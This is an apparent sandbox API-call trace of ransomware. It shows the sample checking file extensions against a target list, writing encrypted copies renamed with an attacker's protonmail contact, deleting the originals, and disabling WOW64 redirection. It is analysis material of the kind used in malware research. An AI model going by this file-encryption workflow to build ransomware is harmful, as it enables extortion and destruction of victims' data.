[0303.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.526] lstrlenW (lpString=".7z") returned 3 [0303.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0303.526] lstrlenW (lpString=".dbf") returned 4 [0303.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0303.526] lstrlenW (lpString=".1cd") returned 4 [0303.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0303.526] lstrlenW (lpString=".jpg") returned 4 [0303.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.527] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.527] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0303.527] GetLastError () returned 0x0 [0303.527] ReadFile (in: hFile=0x10d4, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x788, lpOverlapped=0x0) returned 1 [0303.691] WriteFile (in: hFile=0x1088, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x790, lpOverlapped=0x0) returned 1 [0303.693] ReadFile (in: hFile=0x10d4, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.693] WriteFile (in: hFile=0x1088, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.693] SetEndOfFile (hFile=0x1088) returned 1 [0303.693] CloseHandle (hObject=0x1088) returned 1 [0303.693] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.693] SetEndOfFile (hFile=0x10d4) returned 1 [0303.694] CloseHandle (hObject=0x10d4) returned 1 [0303.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0303.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0303.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0303.695] lstrlenW (lpString=".doc") returned 4 [0303.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.695] lstrlenW (lpString=".docx") returned 5 [0303.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.695] lstrlenW (lpString=".pdf") returned 4 [0303.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.695] lstrlenW (lpString=".xls") returned 4 [0303.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.695] lstrlenW (lpString=".xlsx") returned 5 [0303.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.695] lstrlenW (lpString=".ppt") returned 4 [0303.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0303.695] lstrlenW (lpString=".zip") returned 4 [0303.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.695] lstrlenW (lpString=".rar") returned 4 [0303.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.695] lstrlenW (lpString=".bz2") returned 4 [0303.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.695] lstrlenW (lpString=".7z") returned 3 [0303.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0303.695] lstrlenW (lpString=".dbf") returned 4 [0303.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0303.696] lstrlenW (lpString=".1cd") returned 4 [0303.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0303.696] lstrlenW (lpString=".jpg") returned 4 [0303.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.696] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.696] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0303.696] GetLastError () returned 0x0 [0303.696] ReadFile (in: hFile=0x10d4, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0xb80, lpOverlapped=0x0) returned 1 [0303.850] WriteFile (in: hFile=0x1088, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xb90, lpOverlapped=0x0) returned 1 [0303.852] ReadFile (in: hFile=0x10d4, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.852] WriteFile (in: hFile=0x1088, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.852] SetEndOfFile (hFile=0x1088) returned 1 [0303.852] CloseHandle (hObject=0x1088) returned 1 [0303.852] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.852] SetEndOfFile (hFile=0x10d4) returned 1 [0303.853] CloseHandle (hObject=0x10d4) returned 1 [0303.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0303.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0303.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0303.854] lstrlenW (lpString=".doc") returned 4 [0303.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.854] lstrlenW (lpString=".docx") returned 5 [0303.854] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.854] lstrlenW (lpString=".pdf") returned 4 [0303.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.854] lstrlenW (lpString=".xls") returned 4 [0303.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.855] lstrlenW (lpString=".xlsx") returned 5 [0303.855] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.855] lstrlenW (lpString=".ppt") returned 4 [0303.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0303.855] lstrlenW (lpString=".zip") returned 4 [0303.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.855] lstrlenW (lpString=".rar") returned 4 [0303.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.855] lstrlenW (lpString=".bz2") returned 4 [0303.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.855] lstrlenW (lpString=".7z") returned 3 [0303.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0303.855] lstrlenW (lpString=".dbf") returned 4 [0303.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0303.855] lstrlenW (lpString=".1cd") returned 4 [0303.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0303.855] lstrlenW (lpString=".jpg") returned 4 [0303.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.856] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.856] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0303.857] GetLastError () returned 0x0 [0303.857] ReadFile (in: hFile=0x10d4, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x257c, lpOverlapped=0x0) returned 1 [0303.963] WriteFile (in: hFile=0x1088, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x2580, lpOverlapped=0x0) returned 1 [0303.964] ReadFile (in: hFile=0x10d4, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.964] WriteFile (in: hFile=0x1088, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.964] SetEndOfFile (hFile=0x1088) returned 1 [0303.964] CloseHandle (hObject=0x1088) returned 1 [0303.964] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.964] SetEndOfFile (hFile=0x10d4) returned 1 [0303.965] CloseHandle (hObject=0x10d4) returned 1 [0303.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0303.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0303.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0303.966] lstrlenW (lpString=".doc") returned 4 [0303.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.966] lstrlenW (lpString=".docx") returned 5 [0303.967] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0303.967] lstrlenW (lpString=".pdf") returned 4 [0303.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.967] lstrlenW (lpString=".xls") returned 4 [0303.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.967] lstrlenW (lpString=".xlsx") returned 5 [0303.967] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0303.967] lstrlenW (lpString=".ppt") returned 4 [0303.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0303.967] lstrlenW (lpString=".zip") returned 4 [0303.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.967] lstrlenW (lpString=".rar") returned 4 [0303.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.967] lstrlenW (lpString=".bz2") returned 4 [0303.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.967] lstrlenW (lpString=".7z") returned 3 [0303.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0303.967] lstrlenW (lpString=".dbf") returned 4 [0303.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0303.967] lstrlenW (lpString=".1cd") returned 4 [0303.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0303.967] lstrlenW (lpString=".jpg") returned 4 [0303.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.968] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.968] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0303.968] GetLastError () returned 0x0 [0303.968] ReadFile (hFile=0x10d4, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0) Thread: id = 3455 os_tid = 0x2f8 [0285.975] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x8114d0 [0285.976] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0285.976] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9840 [0285.976] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x6) returned 0x7c5828 [0285.976] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9960 [0285.976] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x100000) returned 0x37dc020 [0285.979] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9990 [0285.979] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c9990, Size=0x20) returned 0x7bd7b0 [0285.979] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c97c8 [0285.979] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c97c8, Size=0x20) returned 0x7bd558 [0285.979] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.979] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.979] Wow64DisableWow64FsRedirection (in: OldValue=0x2bbff50 | out: OldValue=0x2bbff50*=0x0) returned 1 [0285.979] lstrlenW (lpString="kernel32.dll") returned 12 [0285.979] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd7b0 | out: hHeap=0x730000) returned 1 [0285.979] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.979] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd558 | out: hHeap=0x730000) returned 1 [0285.979] Sleep (dwMilliseconds=0x64) [0286.273] Sleep (dwMilliseconds=0x64) [0286.614] lstrcmpiW (lpString1=".p7b", lpString2=".com") returned 1 [0286.614] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0286.614] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.614] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=4662) returned 1 [0286.614] CloseHandle (hObject=0x109c) returned 1 [0286.614] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0286.614] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.615] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.615] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0286.615] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0286.615] lstrlenW (lpString=".doc") returned 4 [0286.615] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0286.615] lstrlenW (lpString=".docx") returned 5 [0286.615] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0286.615] lstrlenW (lpString=".pdf") returned 4 [0286.615] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0286.615] lstrlenW (lpString=".xls") returned 4 [0286.615] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0286.615] lstrlenW (lpString=".xlsx") returned 5 [0286.615] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0286.615] lstrlenW (lpString=".ppt") returned 4 [0286.615] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0286.615] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0286.615] lstrlenW (lpString=".zip") returned 4 [0286.615] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0286.615] lstrlenW (lpString=".rar") returned 4 [0286.615] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0286.615] lstrlenW (lpString=".bz2") returned 4 [0286.615] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0286.615] lstrlenW (lpString=".7z") returned 3 [0286.615] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0286.615] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0286.615] lstrlenW (lpString=".dbf") returned 4 [0286.615] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0286.615] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0286.615] lstrlenW (lpString=".1cd") returned 4 [0286.615] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0286.615] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0286.615] lstrlenW (lpString=".jpg") returned 4 [0286.616] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0286.616] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0286.616] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0286.616] lstrlenW (lpString=".doc") returned 4 [0286.616] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0286.616] lstrlenW (lpString=".docx") returned 5 [0286.616] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0286.616] lstrlenW (lpString=".pdf") returned 4 [0286.616] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0286.616] lstrlenW (lpString=".xls") returned 4 [0286.616] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0286.616] lstrlenW (lpString=".xlsx") returned 5 [0286.616] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0286.616] lstrlenW (lpString=".ppt") returned 4 [0286.616] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0286.616] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0286.616] lstrlenW (lpString=".zip") returned 4 [0286.616] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0286.616] lstrlenW (lpString=".rar") returned 4 [0286.616] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0286.616] lstrlenW (lpString=".bz2") returned 4 [0286.616] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0286.616] lstrlenW (lpString=".7z") returned 3 [0286.616] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0286.616] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0286.616] lstrlenW (lpString=".dbf") returned 4 [0286.616] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0286.616] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0286.616] lstrlenW (lpString=".1cd") returned 4 [0286.616] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0286.616] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0286.616] lstrlenW (lpString=".jpg") returned 4 [0286.617] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0286.617] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0286.617] lstrlenW (lpString="Alphabet.xml") returned 12 [0286.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.617] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=791421) returned 1 [0286.617] CloseHandle (hObject=0x109c) returned 1 [0286.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0286.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0286.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0286.617] lstrlenW (lpString=".doc") returned 4 [0286.617] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.618] lstrlenW (lpString=".docx") returned 5 [0286.618] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0286.618] lstrlenW (lpString=".pdf") returned 4 [0286.618] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.618] lstrlenW (lpString=".xls") returned 4 [0286.618] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.618] lstrlenW (lpString=".xlsx") returned 5 [0286.618] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0286.618] lstrlenW (lpString=".ppt") returned 4 [0286.618] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0286.618] lstrlenW (lpString=".zip") returned 4 [0286.618] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.618] lstrlenW (lpString=".rar") returned 4 [0286.618] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.618] lstrlenW (lpString=".bz2") returned 4 [0286.618] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.618] lstrlenW (lpString=".7z") returned 3 